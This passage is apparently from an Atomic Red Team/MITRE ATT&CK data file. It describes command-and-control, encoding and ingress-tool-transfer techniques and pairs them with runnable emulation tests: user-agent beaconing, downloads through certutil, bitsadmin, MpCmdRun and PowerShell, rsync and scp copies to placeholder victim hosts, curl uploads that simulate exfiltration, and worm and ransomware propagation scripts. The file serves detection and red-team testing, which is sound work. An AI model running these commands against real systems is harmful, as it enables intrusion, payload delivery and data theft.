https://en.wikipedia.org/wiki/Binary-to-text_encoding - source_name: Wikipedia Character Encoding description: Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017. url: https://en.wikipedia.org/wiki/Character_encoding object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1132.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc type: attack-pattern created: '2020-03-14T23:39:50.117Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1132.002 url: https://attack.mitre.org/techniques/T1132/002 - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017. source_name: Wikipedia Binary-to-text Encoding - url: https://en.wikipedia.org/wiki/Character_encoding description: Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017. source_name: Wikipedia Character Encoding - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Non-Standard Encoding description: 'Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1071.001: technique: modified: '2024-04-16T12:28:21.234Z' name: 'Application Layer Protocol: Web Protocols' description: "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - TruKno x_mitre_deprecated: false x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161 created: '2020-03-15T16:13:46.151Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1071/001 external_id: T1071.001 - source_name: CrowdStrike Putter Panda description: 'Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.' url: http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Brazking-Websockets description: Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023. url: https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1071.001 atomic_tests: - name: Malicious User Agents - Powershell auto_generated_guid: 81c13829-f6c9-45b8-85a6-053366d55297 description: "This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. \nUse an application such as Wireshark to record the session and observe user agent strings and responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n" supported_platforms: - windows input_arguments: domain: description: Default domain to simulate against type: string default: www.google.com executor: command: | Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null name: powershell - name: Malicious User Agents - CMD auto_generated_guid: dc3488b0-08c7-4fea-b585-905c83b48180 description: "This test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. \nUse an application such as Wireshark to record the session and observe user agent strings and responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n" supported_platforms: - windows input_arguments: domain: description: Default domain to simulate against type: string default: www.google.com curl_path: description: path to curl.exe type: path default: C:\Windows\System32\Curl.exe dependency_executor_name: powershell dependencies: - description: "Curl must be installed on system \n" prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://curl.se/windows/dl-8.6.0_2/curl-8.6.0_2-win32-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl" Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-8.6.0_2-win32-mingw\bin\curl.exe" #{curl_path} Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" executor: command: | #{curl_path} -s -A "HttpBrowser/1.0" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} >nul 2>&1 #{curl_path} -s -A "*<|>*" -m3 #{domain} >nul 2>&1 name: command_prompt - name: Malicious User Agents - Nix auto_generated_guid: 2d7c471a-e887-4b78-b0dc-b0df1f2e0658 description: | This test simulates an infected host beaconing to command and control. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat supported_platforms: - linux - macos input_arguments: domain: description: Default domain to simulate against type: string default: www.google.com executor: command: | curl -s -A "HttpBrowser/1.0" -m3 #{domain} curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} curl -s -A "*<|>*" -m3 #{domain} name: sh T1105: technique: modified: '2024-04-11T15:08:01.731Z' name: Ingress Tool Transfer description: "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - John Page (aka hyp3rlinx), ApparitionSec - Mark Wee - Shailesh Tiwary (Indian Army) - The DFIR Report - Alain Homewood - Joe Wise - Jeremy Hedges - Selena Larson, @selenalarson x_mitre_deprecated: false x_mitre_detection: |- Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '2.4' x_mitre_data_sources: - 'File: File Creation' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add created: '2017-05-31T21:31:16.408Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1105 external_id: T1105 - source_name: 'T1105: Trellix_search-ms' description: ' Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the "search-ms" URI Protocol Handler. Retrieved March 15, 2024.' url: https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/ - source_name: Dropbox Malware Sync description: David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023. url: https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/ - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: t1105_lolbas description: LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022. url: https://lolbas-project.github.io/#t1105 - source_name: PTSecurity Cobalt Dec 2016 description: Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. url: https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1105 atomic_tests: - name: rsync remote file copy (push) auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409 description: 'Utilize rsync to perform a remote file copy (push) ' supported_platforms: - linux - macos input_arguments: remote_path: description: Remote path to receive rsync type: path default: "/tmp/victim-files" remote_host: description: Remote host to copy toward type: string default: victim-host local_path: description: Path of folder to copy type: path default: "/tmp/adversary-rsync/" username: description: User account to authenticate on remote host type: string default: victim dependency_executor_name: sh dependencies: - description: "rsync must be installed on the machine \n" prereq_command: 'if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1; fi ' get_prereq_command: "(pkg install -y rsync)||(sudo apt-get -y install rsync)\n" executor: command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} ' name: sh elevation_required: true - name: rsync remote file copy (pull) auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f description: 'Utilize rsync to perform a remote file copy (pull) ' supported_platforms: - linux - macos input_arguments: remote_path: description: Path of folder to copy type: path default: "/tmp/adversary-rsync/" remote_host: description: Remote host to copy from type: string default: adversary-host local_path: description: Local path to receive rsync type: path default: "/tmp/victim-files" username: description: User account to authenticate on remote host type: string default: adversary dependency_executor_name: sh dependencies: - description: "rsync must be installed on the machine \n" prereq_command: 'if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1; fi ' get_prereq_command: "(pkg install -y rsync)||(sudo apt-get -y install rsync)\n" executor: command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} ' name: sh - name: scp remote file copy (push) auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344 description: 'Utilize scp to perform a remote file copy (push) ' supported_platforms: - linux - macos input_arguments: remote_path: description: Remote path to receive scp type: path default: "/tmp/victim-files/" local_file: description: Path of file to copy type: path default: "/tmp/adversary-scp" remote_host: description: Remote host to copy toward type: string default: victim-host username: description: User account to authenticate on remote host type: string default: victim executor: command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path} ' name: sh - name: scp remote file copy (pull) auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33 description: 'Utilize scp to perform a remote file copy (pull) ' supported_platforms: - linux - macos input_arguments: remote_host: description: Remote host to copy from type: string default: adversary-host local_path: description: Local path to receive scp type: path default: "/tmp/victim-files/" remote_file: description: Path of file to copy type: path default: "/tmp/adversary-scp" username: description: User account to authenticate on remote host type: string default: adversary executor: command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path} ' name: sh - name: sftp remote file copy (push) auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e description: 'Utilize sftp to perform a remote file copy (push) ' supported_platforms: - linux - macos input_arguments: remote_path: description: Remote path to receive sftp type: path default: "/tmp/victim-files/" local_file: description: Path of file to copy type: path default: "/tmp/adversary-sftp" remote_host: description: Remote host to copy toward type: string default: victim-host username: description: User account to authenticate on remote host type: string default: victim executor: command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}'' ' name: sh - name: sftp remote file copy (pull) auto_generated_guid: '0139dba1-f391-405e-a4f5-f3989f2c88ef' description: 'Utilize sftp to perform a remote file copy (pull) ' supported_platforms: - linux - macos input_arguments: remote_host: description: Remote host to copy from type: string default: adversary-host local_path: description: Local path to receive sftp type: path default: "/tmp/victim-files/" remote_file: description: Path of file to copy type: path default: "/tmp/adversary-sftp" username: description: User account to authenticate on remote host type: string default: adversary executor: command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path} ' name: sh - name: certutil download (urlcache) auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0 description: 'Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works! ' supported_platforms: - windows input_arguments: remote_file: description: URL of file to copy type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt local_path: description: Local path to place file type: path default: Atomic-license.txt executor: command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} ' cleanup_command: 'del #{local_path} >nul 2>&1 ' name: command_prompt - name: certutil download (verifyctl) auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b description: 'Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works! ' supported_platforms: - windows input_arguments: remote_file: description: URL of file to copy type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt local_path: description: Local path to place file type: path default: Atomic-license.txt executor: command: | $datePath = "certutil-$(Get-Date -format yyyy_MM_dd)" New-Item -Path $datePath -ItemType Directory Set-Location $datePath certutil -verifyctl -split -f #{remote_file} Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} } cleanup_command: 'Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore ' name: powershell - name: Windows - BITSAdmin BITS Download auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b description: | This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. This technique is used by Qbot malware to download payloads. supported_platforms: - windows input_arguments: bits_job_name: description: Name of the created BITS job type: string default: qcxjb7 local_path: description: Local path to place file type: path default: "%temp%\\Atomic-license.txt" remote_file: description: URL of file to copy type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt executor: command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path} ' name: command_prompt - name: Windows - PowerShell Download auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8 description: | This test uses PowerShell to download a payload. This technique is used by multiple adversaries and malware families. supported_platforms: - windows input_arguments: remote_file: description: URL of file to copy type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt destination_path: description: Destination path to file type: path default: "$env:TEMP\\Atomic-license.txt" executor: command: '(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}") ' cleanup_command: 'Remove-Item #{destination_path} -Force -ErrorAction Ignore ' name: powershell - name: OSTAP Worming Activity auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad description: 'OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity. ' supported_platforms: - windows input_arguments: destination_path: description: Path to create remote file at. Default is local admin share. type: string default: "\\\\localhost\\C$" executor: command: | pushd #{destination_path} echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js CScript.exe AtomicTestT1105.js //E:JScript del AtomicTestT1105.js /Q >nul 2>&1 del AtomicTestFileT1105.js /Q >nul 2>&1 popd name: command_prompt elevation_required: true - name: svchost writing a file to a UNC path auto_generated_guid: fa5a2759-41d7-4e13-a19c-e8f28a53566f description: | svchost.exe writing a non-Microsoft Office file to a file with a UNC path. Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file. supported_platforms: - windows executor: command: | copy C:\Windows\System32\cmd.exe C:\svchost.exe C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt cleanup_command: | del C:\T1105.txt >nul 2>&1 del C:\\svchost.exe >nul 2>&1 name: command_prompt elevation_required: true - name: Download a File with Windows Defender MpCmdRun.exe auto_generated_guid: 815bef8b-bf91-4b67-be4c-abe4c2a94ccc description: | Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed). The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file. By default, the test downloads the Atomic Red Team license file to the temp directory. More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/ supported_platforms: - windows input_arguments: remote_file: description: URL of file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt local_path: description: Location to save downloaded file type: path default: "%temp%\\Atomic-license.txt" dependencies: - description: Must have a Windows Defender version with MpCmdRun.exe installed prereq_command: | cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*" MpCmdRun.exe /? >nul 2>&1 get_prereq_command: Echo "A version of Windows Defender with MpCmdRun.exe must be installed manually" executor: command: | cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*" MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path} cleanup_command: |- del #{local_path} >nul 2>&1 del %temp%\MpCmdRun.log >nul 2>&1 name: command_prompt - name: whois file download auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab description: 'Download a remote file using the whois utility ' supported_platforms: - linux - macos input_arguments: remote_host: description: Remote hostname or IP address type: string default: localhost remote_port: description: Remote port to connect to type: integer default: 8443 output_file: description: Path of file to save output to type: path default: "/tmp/T1105.whois.out" query: description: Query to send to remote server type: string default: Hello from Atomic Red Team test T1105 timeout: description: Timeout period before ending process (seconds) type: integer default: 1 dependencies: - description: 'The whois and timeout commands must be present ' prereq_command: 'which whois && which timeout ' get_prereq_command: 'echo "Please install timeout and the whois package" ' executor: name: sh elevation_required: false command: 'timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file} ' cleanup_command: 'rm -f #{output_file} ' - name: File Download via PowerShell auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2 description: 'Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary. ' supported_platforms: - windows input_arguments: target_remote_file: description: File to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt output_file: description: File to write to type: string default: LICENSE.txt executor: command: "(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}\n" name: powershell - name: File download with finger.exe on Windows auto_generated_guid: 5f507e45-8411-4f99-84e7-e38530c45d01 description: | Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. Because this is being tested on the localhost, you should not be expecting a successful connection https://www.exploit-db.com/exploits/48815 https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/ supported_platforms: - windows input_arguments: remote_host: description: Remote hostname or IP address type: string default: localhost executor: name: command_prompt command: 'finger base64_filedata@#{remote_host} ' - name: Download a file with IMEWDBLD.exe auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2 description: | Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/[1]." or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/[1].. Run "Get-ChildItem -Path C:\Users\\AppData\Local\Microsoft\Windows\INetCache\ -Include * -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file. supported_platforms: - windows input_arguments: remote_url: description: Location of file to be downloaded. type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml file_name: description: Name of the file to be downloaded without extension. type: string default: T1105 executor: command: | $imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe" & $imewdbled #{remote_url} cleanup_command: "$inetcache = $env:LOCALAPPDATA + \"\\Microsoft\\Windows\\INetCache\\\" \n$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)\nif(\"\" -ne \"$file_to_be_removed\") { Remove-Item \"$file_to_be_removed\" -ErrorAction Ignore }\n" name: powershell - name: Curl Download File auto_generated_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a description: | The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior. Expected output will include whether the file downloaded successfully or not. supported_platforms: - windows input_arguments: file_download: description: File to download type: string default: https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll curl_path: description: path to curl.exe type: path default: C:\Windows\System32\Curl.exe dependency_executor_name: powershell dependencies: - description: 'Curl must be installed on system. ' prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1} ' get_prereq_command: | Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl" Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" executor: command: | #{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll cleanup_command: | del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\users\public\music\allthethingsx64.dll >nul 2>&1 del c:\programdata\allthethingsx64.dll >nul 2>&1 del %Temp%\allthethingsx64.dll >nul 2>&1 name: command_prompt - name: Curl Upload File auto_generated_guid: 635c9a38-6cbf-47dc-8615-3810bc1167cf description: | The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration Expected output will include whether the file uploaded successfully or not. supported_platforms: - windows input_arguments: curl_path: description: path to curl.exe type: path default: C:\Windows\System32\Curl.exe remote_destination: description: Remote destination type: string default: www.example.com file_path: description: File to upload type: string default: c:\temp\atomictestfile.txt dependency_executor_name: powershell dependencies: - description: 'Curl must be installed on system. ' prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1} ' get_prereq_command: | Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile PathToAtomicsFolder\..\ExternalPayloads\curl.zip Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl" Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" - description: 'A file must be created to upload ' prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1} ' get_prereq_command: 'echo "This is an Atomic Test File" > #{file_path} ' executor: command: | #{curl_path} -T #{file_path} #{remote_destination} #{curl_path} --upload-file #{file_path} #{remote_destination} #{curl_path} -d #{file_path} #{remote_destination} #{curl_path} --data #{file_path} #{remote_destination} name: command_prompt - name: Download a file with Microsoft Connection Manager Auto-Download auto_generated_guid: d239772b-88e2-4a2e-8473-897503401bcc description: "Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. \nThe issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.\nUpon successful execution the test will open calculator and Notepad executable for 10 seconds.\nreference:\nhttps://twitter.com/ElliotKillick/status/1455897435063074824\nhttps://github.com/LOLBAS-Project/LOLBAS/pull/151\nhttps://lolbas-project.github.io/lolbas/Binaries/Cmdl32/\nhttps://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html\n" supported_platforms: - windows input_arguments: Path_to_file: description: Path to the Batch script type: path default: PathToAtomicsFolder\T1105\src\T1105.bat dependency_executor_name: powershell dependencies: - description: "#{Path_to_file} must exist on system.\n" prereq_command: 'if (Test-Path "#{Path_to_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{Path_to_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat" -OutFile "#{Path_to_file}" executor: command: "\"#{Path_to_file}\" 1>NUL \n" cleanup_command: | del /f/s/q %temp%\T1105 >nul 2>&1 rmdir /s/q %temp%\T1105 >nul 2>&1 name: command_prompt - name: MAZE Propagation Script auto_generated_guid: 70f4d07c-5c3e-4d53-bb0a-cdf3ada14baf description: "This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\\Temp directory of each one. \nUpon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location.\nReference: 